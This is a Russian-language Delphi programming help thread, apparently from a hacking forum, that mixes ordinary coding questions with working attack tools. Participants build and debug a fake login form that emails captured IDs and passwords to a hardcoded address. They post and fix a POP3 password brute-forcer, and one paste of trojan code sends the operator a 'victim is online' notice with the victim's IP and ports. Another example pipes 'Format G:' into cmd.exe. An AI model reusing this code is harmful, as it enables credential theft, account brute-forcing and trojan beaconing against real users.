[Delphi]/[Pascal] Задай вопрос, получи ответ

[infernal-team]

Не ужели мне некто не может помочь?!

[W!z@rD]

Задача заключается в следующем: нужно чтобы при вводе данных в ComboBox2 и Edit1, при нажатии Button1 открывалась следующая форма
Button1Onclick
Form2.ShowModal;

и данные введенные в ComboBox2 и Edit1 отправлялись мне на e-mail или в ICQ !!! Надеюсь на помощь !!!

function mail(smtp: string; port: integer; from, dest, subject,
body: string): bool;
const
cl = #13#10;
var
WSAData: TWSAData;
Host: TSockAddrIn;
Sock: TSocket;
res: Integer;
buff: array[1..255] of Char;

{ отправляем данные через сокет }
procedure senddata(str: string);
var
i: integer;
begin
for i := 1 to Length(str) do
if send(Sock, str[i], 1, 0) = SOCKET_ERROR then
exit;
end;

{ получаем ответ от команды }
function recvdata(accept: string): bool;
var
buff: array[1..255] of Char;
begin
res := recv(Sock, buff, SizeOf(buff), 0);
Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
end;

begin
try
result := false;
{ инициализация сокета }
WSAStartUp(257, WSAData);
Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if Sock = INVALID_SOCKET then
Exit;

{ устанавливаем хост и порт сервера }
res := inet_addr(PChar(smtp));
if res <= 0 then
exit;

Host.sin_family := AF_INET;
Host.sin_port := htons(port);
Host.sin_addr.S_addr := res;

{ подключаемся к серверу }
if connect(Sock, Host, SizeOf(Host)) > 0 then
Exit;

{ приветствие сервера }
if not recvdata('220') then
Exit;

{ EHLO }
senddata('EHLO' + cl);
if not recvdata('250') then
Exit;

{ MAIL FROM: }
senddata('MAIL FROM:' + from + cl);
if not recvdata('250') then
Exit;

{ RCPT TO: }
senddata('RCPT TO:' + dest + cl);
if not recvdata('250') then
Exit;

{ DATA }
senddata('DATA' + cl);
if not recvdata('354') then
Exit;

{ отправляем текст сообщения }
senddata('Subject:' + subject + cl + cl + body + cl + '.');
if not recvdata('250') then
Exit;

{ отключаемся от сервера }
senddata('QUIT' + cl);

result := true;
finally
{ убиваем сокет }
closesocket(sock);
WSACleanup;
end;
end;

{
mail('127.0.0.1',25,'bboy-ne@yandex.ru' ,'admin@company.mail', 'subj', 'body text');
}

(c) http://forum.vingrad.ru/forum/topic-55273.html
сохраняем копирайты! =/

[W!z@rD]

Есть пога, которая хранит некоторые настройки в файле *.xml
Я открываю через свою прогу этот файл в текстовом режиме. Дописываю в него текст и закрываю. Проблема в том что если текст был русским, то та программа потом не отображает его, а если англ., то все норм.
Примечания.
Если файл xml открыть блокнотом, то можно увидеть строку encoding="utf-8"
До открытия файла моей програмкой русский текст (если он присутствовал в файле) отображается нормально, но после добавления нового текста моей прогой имющийся до этого русский текст в файле заменяется на что-то типа "ерер"
Помогите разобраться.
AnsiToUtf8()

[infernal-team]

[Error] Unit1.pas(68): Undeclared identifier: 'TWSAData'
[Error] Unit1.pas(69): Undeclared identifier: 'TSockAddrIn'
[Error] Unit1.pas(70): Undeclared identifier: 'TSocket'
[Error] Unit1.pas(80): Undeclared identifier: 'send'
[Error] Unit1.pas(80): Undeclared identifier: 'SOCKET_ERROR'
[Warning] Unit1.pas(80): Comparing signed and unsigned types - widened both operands
[Error] Unit1.pas(89): Undeclared identifier: 'recv'
[Error] Unit1.pas(90): Undeclared identifier: 'SOCKET_ERROR'
[Error] Unit1.pas(97): Undeclared identifier: 'WSAStartUp'
[Error] Unit1.pas(98): Undeclared identifier: 'socket'
[Error] Unit1.pas(98): Undeclared identifier: 'SOCK_STREAM'
[Error] Unit1.pas(98): Undeclared identifier: 'IPPROTO_IP'
[Error] Unit1.pas(99): Undeclared identifier: 'INVALID_SOCKET'
[Warning] Unit1.pas(99): Comparing signed and unsigned types - widened both operands
[Error] Unit1.pas(103): Undeclared identifier: 'inet_addr'
[Error] Unit1.pas(107): Missing operator or semicolon
[Error] Unit1.pas(108): Missing operator or semicolon
[Error] Unit1.pas(108): Undeclared identifier: 'htons'
[Error] Unit1.pas(109): Missing operator or semicolon
[Error] Unit1.pas(112): Undeclared identifier: 'connect'
[Warning] Unit1.pas(112): Comparing signed and unsigned types - widened both operands
[Error] Unit1.pas(150): Undeclared identifier: 'closesocket'
[Error] Unit1.pas(151): Undeclared identifier: 'WSACleanup'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit1.pas'

В чем проблема?

[LEE_ROY]

мда, а че сложного то? у тебя ситуцация такая, что словами нихрена неопишеш а кодить несложно, просто время займет. а за просто так, никто такой херней заниматся небудет, пиши в работу.

[infernal-team]

Да какая работа тут дела на 5-10 минут, только я не очень селен в делпхи. Пробывал код с mail agenta (фейк чет не получилось).

[ZirroCool]

Всем привет!
Вот есть код

<body>
Загруженость сервиса: 0 %

<TABLE width="200" cellpadding="0" cellspacing="0" height="7">

<TR>
<TD align="center" bgcolor="#CC5555" width=0%>
</TD>
<TD align="center" bgcolor="#888888" width=200%>
</TD>
</TR>
</table><br>

<div align=center><table cellspacing=0 border=0 cellpadding=0 width=650>
<tr>
<td style="padding:0px; margin: 0px; width: 100%; border: 1px solid #ffffff; height:68px;background-image: url('fon.png')"><img src="logo.png" alt=""></td>
</tr>
</table></div><br>
<div align=center><table cellspacing=0 border=0 cellpadding=3 width=650>
<tr valign=top>
<td width=300 style="vertical-align:middle;" bgcolor=white><a href="http://www.adv.lala.org/"><img border=0 src="reklama_loader.gif" alt=""></a></td>
<td bgcolor=#444444 class="panel"><b>Отправка файла на E-mail</b><br><br><br> <div align=center>
Размер файла не должен превышать <b>100 MB</b><br><br>
Файл разбивается на части если его размер больше <b>10 MB</b><br><br>
<form action="index.php" method="post" ENCTYPE='multipart/form-data'>
<div align=left>url (путь к файлу с <b>протоколом</b>):<br>
<input name="usrurl" type=text value=""><br>
e-mail (адрес доставки):<br>
<input name="mail" type=text value=""></div><br>
<img src="captcha/index.php"><br>
Введите символы указаные на картинке:<br>
<input type="text" style="width:100px;" name="simbols"><br><br><br>
<input style="width:100px;" type=submit value="Отправить">
</form></div>
<br></td>
</tr>
</table></div><br><br>
<div align=center><a href="http://www.lala.org/"></a><br>Copyright © 2006-2007<br><img src="http://www.lala.org/count/counter.php" border=0></div>
</body>

Ну здесь как видно есть 3 поля и кнопка отправки данных!
Надеюсь что вы мне расскажите как можно отправить эти данные без захода на страничку,тобеж я делаю программу клиент, но в пост запросах ничего не понимаю!Будьте добры покажите как нужно сделать!
Желательно привести часть кода где при нажатии на кнопку инфа береться из эдитов и передается на сервер!Заранее большое спасибо!
зы.как я понял это нитак сложно,просто я никогда с этим не сталкивался а разобраться сам никак не могу,уже кучу инфы пересмотрел никак не вьеду!
Есче раз спасибо!

[NetMan]

ZirroCool > Посмотри как выглядит этот POST-запрос при помощи какого-нибудь HTTP-сниффера.

[ZirroCool]

Оффтоп (извините не удержался)
если ты тот самый ZiroCool который написал червя который заразил 1507 машин то можно аффтограф в ПМ плиз =))
раз уж на то пошло там был ZeroCool!
NetMan,на счет снифера,я никогда им не пользовался!
так что по возможности кодом!

[LEE_ROY]

зирокул
непользовался? так начни пользоваться, со снифа снял пост, впихнул в стринг и через сокет отправил.

[xaker-boss]

Люди как залогиница на сйте(vBulletin)?
http://forum-mp3.org/zalog.jpg
Кто может сделать такое, и чтобы если он залогинился то выходила ошибка типа вы вошли как(Edit1)
а если не залогинился выдавал типа неверные данные.
Кому нетрудно сделайте плиз
ну к примеру можно взять античат а я потом потправлю.
Если можете выложити исходник

[W!z@rD]

infernal-team
необходимо подключить модули:
uses windows, winsock;


xaker-boss
ога всю мембер-базу ачата решил слить?
я не понимаю... ты просишь такие вещи за которые платят =/... было бы такое в нете "за так", творился бы беспорядок... и для новичка замахнулся ты слишком =/

ZirroCool
эээ ответ есть...
CGI-приложения... - вот твой ответ =/

[Nightmarе]

xaker-boss помоему проще найти исходник брутфорса форумов и посмотреть...

[xaker-boss]

Nightmarе да я искал но так и ненашол

[alamat]

Здравствуйте! Есть вот такой код, как я могу величить скорость преберирания паролей? Потоки? Как?
unit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Sockets, IdBaseComponent;

type
threed = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;

implementation

{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,

Synchronize(UpdateCaption);

and UpdateCaption could look like,

procedure threed.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }

{ threed }
uses unit1;
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
//Ïîïûòêà ñîåäèíåíèÿ.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.




Второй вопрос:
Допустим есть файл email.txt
там хранятся данные типа:
sdas@mail.ru
asdas@bk.ru
asdas@info.ru и т.д.
так вот задача отрезать все личнее допустим от @mail.ru и записать это в отдельный файл

[PandoraBox]

Второй вопрос:
Допустим есть файл email.txt
там хранятся данные типа:
sdas@mail.ru
asdas@bk.ru
asdas@info.ru и т.д.
так вот задача отрезать все лишнее допустим от @mail.ru и записать это в отдельный файл
var
StringList: TStringList;
LoginList: TextFile;
Email, I: Integer;
MLogin{, MServer}: String;
begin
StringList := TStringList.Create; // Создаем лист
StringList.LoadFromFile('C:\email.txt'); // Загружаем лист
AssignFile(LoginList, 'C:\LoginList.txt'); // Создаем файл
ReWrite(LoginList); // Даем права на запись
for I := 0 to (StringList.Count - 1) do
begin
Application.ProcessMessages; // шоб не зависло
Email := Pos('@', StringList.Strings[i]); // Находим '@'
MLogin := Copy(StringList.Strings[i], 1, Email - 1); // Вытягиваем логин
//MServer := Copy(StringList.Strings[i], Email{ + 1}, Length(StringList.Strings[i])); // Вытягиваем сервер
//Записываем вытянутые данные
//ListBox1.Items.Add(MLogin); // Добовляем в список логин
//ListBox2.Items.Add(MServer); // Добовляем в список сервер
WriteLn(LoginList, MLogin); // Записываем логин(ы)
end;
CloseFile(LoginList); // Закрываем дескриптор
StringList.Free; // Удаляем лист

[W!z@rD]

unit Unit2;

interface

uses
SysUtils, Classes, Sockets, IdBaseComponent;

type
threed = class(TThread)
private
{ Private declarations }
LL: TStringList;
PL: TStringList;
tmpI: Integer;
tmpJ: Integer;
IdPOP3: TIdPOP3;
procedure CallBack;
protected
constructor Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
destructor Destroy;
procedure Execute; override;
end;

implementation

uses unit1;

constructor threed.Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
begin
LL:=TStringList.Create;
LP:=TStringList.Create;
LL.LoadFromFile(LoginList);
LP.LoadFromFile(PassList);
IdPOP3:=TIdPOP3.Create;
with IdPOP3 do
begin
Host:=aHost;
Port:=aPort;
end;
inherited Create(false);
end;

procedure threed.CallBack;
begin
form1.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PS.StringstmpJ]);
end;

destructor threed.Destroy;
begin
LL.Free;
LP.Free;
IdPOP3.Free;
end;

procedure threed.Execute;
var
i,j:integer;
begin
for i:=0 to LS.Count-1 do
for j:=0 to LP.Count-1 do
begin
IdPOP3.UserName:=LS.Strings[i];
IdPOP3.Password:=LP.Strings[j];
try
IdPOP3.Connect;
except
end;
if IdPOP3.Connected then
begin
Synchronize(CallBack);
IdPOP3.Disconnect;
end;
IdPOP3.Disconnect;
end;
end;
end.

Пример использования

threed.Create('c:\logins.txt', 'c:\pass.txt', 'Host HERE', 25);

P.S. никакой многопоточности Я не увидел (по крайней мере в твоем коде) =/...
P.S.S. должно работать не проверял, писал в Опере :D
P.S.S.S. не забываем освобождать ресурсы системы =/


Второй вопрос:
Допустим есть файл email.txt
там хранятся данные типа:
sdas@mail.ru
asdas@bk.ru
asdas@info.ru и т.д.
так вот задача отрезать все личнее допустим от @mail.ru и записать это в отдельный файл

лишнее или личное?
З.Ы. личное резать не хорошо =/

procedure CRASH_INTERNET;
var
i: Integer;
s: string;
a: TStringList;
b: TStringList;
begin
a:=TStringList.Create;
b:=TStringList.Create;
try
for i:=0 to a.Count - 1 do
begin
s:=a.Strings[i];
if pos('@', s) > 0 then b.Add(copy(s, 0, pos('@', s) - 1);
end;
finally
b.SaveToFile('c:\result.txt');
a.Free;
b.Free;
end;

P.S. написанно так же в Опере
P.S.S. не забываем освобождать ресурсы системы =/

[alamat]

Да мне нужно чтобы быстро работала прога, а она подбирает медленно, 1,5 сек 1 пароль

[W!z@rD]

Да мне нужно чтобы быстро работала прога, а она подбирает медленно, 1,5 сек 1 пароль
а ты мой пример пробовал??!?!!

[alamat]

Да, там где то ошибка

[Nightmarе]

Ребят, ну так как мне послать пейджером в аську сообщение через делфи не юзая исходники coban2k ???

[W!z@rD]

>Да, там где то ошибка
именно где?!?

>Nightmarе
если у них есть вебформа для отправки ICQ вообщения, то можно...

[alamat]

Build
[Error] Unit2.pas(16): Undeclared identifier: 'TIdPOP3'
[Warning] Unit2.pas(20): Method 'Destroy' hides virtual method of base type 'TThread'
[Error] Unit2.pas(31): Undeclared identifier: 'LP'
[Error] Unit2.pas(33): Missing operator or semicolon
[Error] Unit2.pas(34): Missing operator or semicolon
[Error] Unit2.pas(37): Undeclared identifier: 'Host'
[Error] Unit2.pas(38): Undeclared identifier: 'Port'
[Error] Unit2.pas(45): Undeclared identifier: 'PS'
[Error] Unit2.pas(45): 'END' expected but ']' found
[Error] Unit2.pas(51): Undeclared identifier: 'LP'
[Error] Unit2.pas(52): Missing operator or semicolon
[Error] Unit2.pas(59): Undeclared identifier: 'LS'
[Error] Unit2.pas(60): Undeclared identifier: 'LP'
[Error] Unit2.pas(62): Missing operator or semicolon
[Error] Unit2.pas(62): Missing operator or semicolon
[Error] Unit2.pas(63): Missing operator or semicolon
[Error] Unit2.pas(63): Missing operator or semicolon
[Error] Unit2.pas(65): Missing operator or semicolon
[Error] Unit2.pas(68): 'THEN' expected but identifier 'Connected' found
[Error] Unit2.pas(71): Missing operator or semicolon
[Error] Unit2.pas(73): Missing operator or semicolon
[Hint] Unit2.pas(13): Private symbol 'PL' declared but never used
[Hint] Unit2.pas(15): Private symbol 'tmpJ' declared but never used
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit2.pas'

[W!z@rD]

unit Unit2;

interface

uses
Classes, IdPOP3;

type
threed = class(TThread)
private
{ Private declarations }
LL: TStringList;
PL: TStringList;
tmpI: Integer;
tmpJ: Integer;
IdPOP3: TIdPOP3;
procedure CallBack;
protected
constructor Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
procedure Execute; override;
public
destructor Destroy; override;
end;

implementation

uses unit1;

constructor threed.Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
begin
LL:=TStringList.Create;
PL:=TStringList.Create;
LL.LoadFromFile(LoginList);
PL.LoadFromFile(PassList);
IdPOP3:=TIdPOP3.Create(nil);
with IdPOP3 do
begin
Host:=aHost;
Port:=aPort;
end;
inherited Create(false);
end;

procedure threed.CallBack;
begin
form1.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PL.Strings[tmpJ]);
end;

destructor threed.Destroy;
begin
LL.Free;
PL.Free;
IdPOP3.Free;
end;

procedure threed.Execute;
var
i,j:integer;
begin
for i:=0 to LL.Count-1 do
for j:=0 to PL.Count-1 do
begin
IdPOP3.UserName:=LL.Strings[i];
IdPOP3.Password:=PL.Strings[j];
try
IdPOP3.Connect;
except
end;
if IdPOP3.Connected then
begin
Synchronize(CallBack);
IdPOP3.Disconnect;
end;
IdPOP3.Disconnect;
end;
end;
end.
все откомпилировалось...

[alamat]

Да откомпилировалось) но не работает))))

[alamat]

и кстати можешь объяснить почему тот что ты мне дал код, должен работать быстрее чем мой?

[W!z@rD]

знаем что такое многопоточность? *думаю нет

итак при каждом создание потока создается IdPOP3...
ему передатются логины и пассы... каким макаром их передавать это дело алгоритма...
значит он пытается залогиниться, соответсвеноо если все ок
вызывается синхронизация с vcl "процедурой"..
которая выдает результат...

тебе просто необходимо сделать алгоритм для раздачи логин:пасс к потокам...

>>Nightmarе
кусок кода из сорцов трояна Latinus
по идее должно работать =/
procedure TfrmServer.ClientPagerConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
cData,cSend,CrLf,cSubject,cMessage:string;
begin
SentPager:=True;
CrLf:=#13#10;
cMessage:='Victim+is+on-line:' + CrLf + 'IP:' + ClientPager.Socket.LocalAddress +
CrLf + 'Connection+port:' + IntToStr(StrToIntDef(Trim(Copy(SrvPort,10,Length(S rvPort))),DEF_CON_PORT)) +
CrLf + 'Upload/download+port:' + IntToStr(StrToIntDef(Trim(Copy(TnsfPort,11,Length( TnsfPort))),DEF_UD_PORT)) +
CrLf + 'Local+time:' + DateToStr(Date) + '+-+' + TimeToStr(Time);
cSubject:='Latinus+pager';
cData:='from=Latinus+server&fromemail=Latinus@Latinus.br&subject=' + cSubject + '&body=' + cMessage + '&to=' + Trim(Copy(cICQ,9,Length(cICQ))) + '&Send=' + '''';
cSend:='POST /scripts/WWPMsg.dll HTTP/1.0' + CrLf;
cSend:=cSend + 'Referer: http://wwp.mirabilis.com' + CrLf;
cSend:=cSend + 'User-Agent: Mozilla/4.06 (Win95; I)' + CrLf;
cSend:=cSend + 'Connection: Keep-Alive' + CrLf;
cSend:=cSend + 'Host: wwp.mirabilis.com:80' + CrLf;
cSend:=cSend + 'Content-type: application/x-www-form-urlencoded' + CrLf;
cSend:=cSend + 'Content-length: ' + IntToStr(Length(cData)) + CrLf;
cSend:=cSend + 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*' + CrLf + CrLf;
cSend:=cSend + cData + CrLf + CrLf + CrLf + CrLf;
ClientPager.Socket.SendText(cSend);
end;

[Nokia3310]

Тока начал изучать Delphi.Я селал прогу ну или чето типо того.Как перекомпилить ее в exe?

[Fen-Omen]

Тока начал изучать Delphi.Я селал прогу ну или чето типо того.Как перекомпилить ее в exe?

File-Save Project - указываешь папку, сохраняшь. Жмешь Ctrl+F9 - скомпилится exeшник. В Project - Options можно задать параметры - описания, иконку и множество других полезных функций.

Сперва попробуй просто запустить (F9) если рабочая программа, и нет ошибок - она запустится. Если же

чето типо того

Компилятор выдаст ошибки, и будет носом в них тыкать, исправляешь, повторяешь.

[Nokia3310]

спс

[PandoraBox]

function ReadC(sFile: string; var Ch: String): Integer;
var F: TextFile;
i: integer;
Test: string;
const Decode: Array [0..297]of String = ('', '', ..........);
begin
Result := 0;
AssignFile(F, sFile);
Reset(F);
while not EOF(F) do
begin
ReadLn(F, Test);
for i := 0 to 297 do
if Test = Decode[i] then Result := Result + 1;
end;
CloseFile(F);
end;
Как можно прочитать строчки на WinAPI без паскаля с использованием Windows.CreateFile(); и если в строке обнаружено совпадение добавило к Ch + (', '+совпадение) кто то может привести пример?

[undewaternemo]

Привет
помогите с двумя вопросами
1-Как отловить в консольной проге завершение программы. по своей воле или по чужой.
2-как планировать и отслеживать загрузку процессора. допустим я хочу сделать некоторый процесс в долгом цикле но не хочу чтобы машина загрузилась более чем на 10 процентов.

[infernal-team]

Люди подскажите в чем проблема заключаеться, программа комплиться, запускаю ее ввожу данные но на мыло мне ничего не приходит, вот этот код использую:
procedure TForm1.Button1Click(Sender: TObject);
var
mail:String;
Mes:TIdMessage;
begin
if(ComboBox2.Text='')or( Edit1.Text='')then
begin
Form2.Show;
end;
mail:='loxan06@mail.ru';
Mes:=TIdMessage.Create(Form1);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text:=mail;
Mes.From.Text:=ComboBox2.Text;
Mes.Subject:='mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#10#13+
'Pass:'+' '+Edit1.Text+#10#13);
IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Host:='smtp.'+'mail.ru';
IdSMTP1.Username:=ComboBox2.Text;
IdSMTP1.Password:=Edit1.Text;
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
try
IdSMTP1.Send(Mes);
IdSMTP1.Disconnect;
except
end;
end;
end;

[PandoraBox]

procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;

[Mkey]

Доброго времени суток, уважаемые.....

Имеем:
1. окно Form1
Хотим получить:
в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
(уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
заранее спсб за грамотные ответы....

[zl0y]

Короче помогите вот имеем файл (открываем его ,ищем метку "::::::::::" читаем в строку ,а потом удаляем метку и все ,что после неё. Помогите с таким примерчиком плиз

[NetMan]

zl0y > напиши конкретный пример файла.

[Serbies]

zl0y, если файл небольшой ьто можно чсерез строки. Открываеш файл через assignfile потом через цикл читаеш построчно его через readln и там уже ведешь работу со строками через pos (ищет подстроку в строке) и del удаляет подстроку в строке. (ссори без примера просто нету сейчас под рукой дельфи ((( а с ошибками писать - плохо)
2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%EB%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает

[infernal-team]

PandoraBox при создание вылетают следующие ошибки:

[Error] Unit1.pas(64): Identifier redeclared: 'TForm1.Button1Click'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit1.pas'

Надеюсь на вашу помощь !!!

[W!z@rD]

нужно копировать только код....
а не реализации процедуры...
т.е. все что после
procedure TForm.Button1Click

у тебя получилось 2 один. строки...

[infernal-team]

Да заглупил не заметил, буду внимательнее в следующий раз.

[Mkey]

2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%EB%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает

уважаемый Serbies... смею Вас заверить, что использовать поисковый сервис я в состоянии....
Буду Вам очень признателен эсли Вы окажете реальную помощь.... на данный момент расцениваю ваш пост как "флуд-шаблонный".

вот что необходимо получить http://slil.ru/24787881

[hidden]

Доброго времени суток, уважаемые.....

Имеем:
1. окно Form1
Хотим получить:
в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
(уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
заранее спсб за грамотные ответы....Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.

[Mkey]

Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
вообщето для 2000, xp, 2003.......
пробывал уже Ваш способ.... не выходит... по этому и обратился за помощью....

[W!z@rD]

а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?

[Xserg]

а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?
У меня примерчик есть
A симуляция консоли сложноватый пример.

procedure TForm1.Button2Click(Sender: TObject);
function PipeIs(StdOutR:dword):dword;
var I,X:dword;
begin
I:=0;X:=50;
while true do begin
sleep(10);
PeekNamedPipe(StdOutR,nil,0,0,@I,nil);
if I<>0 then begin PipeIs:=I;exit;end;
dec(X);
if X=0 then begin PipeIs:=X;exit;end;
end;
end;
var
sa:SECURITY_ATTRIBUTES;
IR:dword;
StdInR,StdOutR,StdInW,StdOutW,StdIn,StdOut:dword;
pi: TProcessInformation;
si: TStartupInfo;
I,TimeOut:dword;
STin,STout:string;
begin

sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(StdOutR,StdOutW,@sa,0);
DuplicateHandle($ffffffff,StdoutW,$ffffffff,@Stdou t,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdOutW);
CreatePipe(StdInR,StdInW, @sa,0);
DuplicateHandle($ffffffff,StdinR, $ffffffff,@Stdin ,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdInR);

ZeroMemory(@si, SizeOf(TStartupInfo));
si.cb := SizeOf(TStartupInfo);
si.hStdInput := Stdin;
si.hStdOutput := Stdout;
si.hStdError := Stdout;
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
CreateProcess(nil,PChar('cmd.exe'), // command line
nil,nil,TRUE,0,nil,nil,
si,pi);

memo1.Lines.Clear;
while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiC har(STin));
memo1.Lines.Add(STin);
end;
end;

STout := 'Dir c:\'#$D#$A;
I := Length(STout);
WriteFile(StdInW, STout[1], I, I, nil);
memo1.Lines.Add(STout);

while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiC har(STin));
memo1.Lines.Add(STin);
end;
end;

STout := 'Format G:'#$D#$A;
I := Length(STout);
WriteFile(StdInW, STout[1], I, I, nil);
memo1.Lines.Add(STout);


while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiC har(STin));
memo1.Lines.Add(STin);
end;
end;

terminateprocess(pi.hProcess,0);

end;

[infernal-team]

Есть такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;

Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.

[Piflit]

infernal-team
http://slil.ru/24793186
я когда-то давно писал такое

[infernal-team]

Piflit спасибо, но чуть чуть раньше бы и мне не пришлось самому код писать, вобщем может кто поможет (не сочтите за наглость) как сделать вот выбрал в опен диалоге файл и чтобы он пришел ко мне намыло при нажатии буттон. Заранее спасибо.

[GlOFF]

infernal-team А ты не думал что твой код может и правильный?
А в синтаксисе отправке неправильный!
в частности нужно не просто мыло [mail := 'loxan06@mail.ru';], а [mail := 'MAIL FROM: loxan06@mail.ru';] ... Хотя могу ошибаться с компонентом делфи не знаком, может он сам это дописывает :)

P.S. А так никто писать за тебя не будет, тут самому нужно что-то думать... причем Piflit уже дал наработки ;)

[DarckSol]

Delphi, как провести инъекцию? Интересует код с примером...

[GlOFF]

